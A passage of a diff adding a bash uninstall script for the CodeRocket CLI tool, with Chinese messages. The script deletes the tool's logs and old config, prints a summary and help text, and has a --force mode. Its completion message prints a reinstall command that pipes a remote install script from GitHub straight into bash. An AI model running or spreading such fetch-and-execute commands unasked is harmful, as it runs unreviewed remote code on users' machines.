+ "$HOME/.local/share/coderocket"
+ "/tmp/coderocket*"
+ )
+
+ for log_pattern in "${log_dirs[@]}"; do
+ for log_path in $log_pattern; do
+ if [ -e "$log_path" ]; then
+ if rm -rf "$log_path"; then
+ echo -e "${GREEN} ✓ 已删除: $log_path${NC}"
+ cleaned_files=$((cleaned_files + 1))
+ else
+ echo -e "${RED} ✗ 删除失败: $log_path${NC}"
+ fi
+ fi
+ done
+ done
+
+ # 清理可能的配置文件
+ local config_files=(
+ "$HOME/.codereview-cli" # 旧版本兼容
+ )
+
+ for config_file in "${config_files[@]}"; do
+ if [ -e "$config_file" ]; then
+ echo -e "${YELLOW} 发现旧版本配置: $config_file${NC}"
+ read -p " 是否删除?(y/N): " -n 1 -r
+ echo
+ if [[ $REPLY =~ ^[Yy]$ ]]; then
+ if rm -rf "$config_file"; then
+ echo -e "${GREEN} ✓ 已删除: $config_file${NC}"
+ cleaned_files=$((cleaned_files + 1))
+ fi
+ fi
+ fi
+ done
+
+ if [ $cleaned_files -eq 0 ]; then
+ echo -e "${YELLOW} - 未发现其他残留文件${NC}"
+ else
+ echo -e "${CYAN} 清理完成: 删除 $cleaned_files 个文件/目录${NC}"
+ fi
+}
+
+# 显示卸载完成信息
+show_completion_message() {
+ echo ""
+ echo -e "${GREEN}╔══════════════════════════════════════════════════════════════╗${NC}"
+ echo -e "${GREEN}║ 🎉 卸载完成! ║${NC}"
+ echo -e "${GREEN}╚══════════════════════════════════════════════════════════════╝${NC}"
+ echo ""
+
+ echo -e "${BLUE}📋 卸载摘要:${NC}"
+ echo "• ✅ 移除了安装目录和所有文件"
+ echo "• ✅ 清理了全局和用户命令"
+ echo "• ✅ 恢复了 shell 配置文件"
+ echo "• ✅ 移除了 Git 模板和 hooks"
+ echo "• ✅ 清理了残留文件"
+ echo ""
+
+ echo -e "${YELLOW}📝 注意事项:${NC}"
+ echo "• 请重新打开终端或运行 'source ~/.zshrc' (或 ~/.bashrc) 使配置生效"
+ echo "• 如果有其他项目仍在使用 CodeRocket hooks,请手动清理"
+ echo "• 配置文件备份已保存,如需恢复可手动操作"
+ echo ""
+
+ echo -e "${CYAN}🔗 相关链接:${NC}"
+ echo "• 项目主页: https://github.com/im47cn/coderocket-cli"
+ echo "• 重新安装: curl -fsSL https://raw.githubusercontent.com/im47cn/coderocket-cli/main/install.sh | bash"
+ echo ""
+
+ echo -e "${GREEN}感谢使用 CodeRocket CLI!${NC}"
+}
+
+# 主函数
+main() {
+ show_uninstall_banner
+
+ # 检查安装状态
+ check_installation
+
+ # 确认卸载
+ confirm_uninstall
+
+ echo -e "\n${BLUE}🚀 开始卸载 CodeRocket CLI...${NC}"
+
+ # 执行卸载步骤
+ remove_install_directory
+ remove_global_commands
+ remove_user_commands
+ clean_shell_config
+ remove_git_templates
+ clean_project_hooks
+ clean_other_files
+
+ # 显示完成信息
+ show_completion_message
+}
+
+# 错误处理
+trap 'echo -e "${RED}卸载过程中发生错误${NC}"; exit 1' ERR
+
+# 只在直接执行时运行主逻辑(不是被 source 时)
+if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
+ # 检查参数
+ case "${1:-}" in
+ "--help"|"-h")
+ echo "CodeRocket CLI 卸载脚本 v2.0"
+ echo ""
+ echo "用法: $0 [选项]"
+ echo ""
+ echo "选项:"
+ echo " --help, -h 显示此帮助信息"
+ echo " --force 强制卸载,不询问确认"
+ echo ""
+ echo "此脚本将完全移除 CodeRocket CLI 及其所有组件,包括:"
+ echo "• 安装目录 (~/.coderocket)"
+ echo "• 全局和用户命令"
+ echo "• Shell 配置中的 PATH 设置"
+ echo "• Git 模板和 hooks"
+ echo "• 残留的配置和日志文件"
+ echo ""
+ echo "项目 hooks 清理功能:"
+ echo "• 🔍 智能搜索:自动扫描常见项目目录"
+ echo "• 📝 手动指定:支持手动输入项目路径"
+ echo "• 🎯 选择清理:逐个项目确认清理"
+ echo "• 💾 备份保护:清理前自动备份 hooks"
+ echo "• ⚠️ 异常处理:完善的错误处理和恢复机制"
+ echo ""
+ echo "安全特性:"
+ echo "• 配置文件自动备份和恢复"
+ echo "• 详细的卸载预览和确认"
+ echo "• 智能识别,避免误删其他内容"
+ echo "• 支持部分失败后的手动清理"
+ exit 0
+ ;;
+ "--force")
+ # 跳过确认,直接卸载
+ show_uninstall_banner
+ check_installation
+ echo -e "\n${YELLOW}强制卸载模式,跳过确认...${NC}"
+ echo -e "\n${BLUE}🚀 开始卸载 CodeRocket CLI...${NC}"
+ remove_install_directory
+ remove_global_commands
+ remove_user_commands
+ clean_shell_config
+ remove_git_templates
+ clean_project_hooks
+ clean_other_files
+ show_completion_message
+ ;;
+ "")
+ # 正常卸载流程
+ main
+ ;;
+ *)
+ echo -e "${RED}错误:未知参数 '$1'${NC}"
+ echo "使用 '$0 --help' 查看帮助信息"
+ exit 1
+ ;;
+ esac
+fi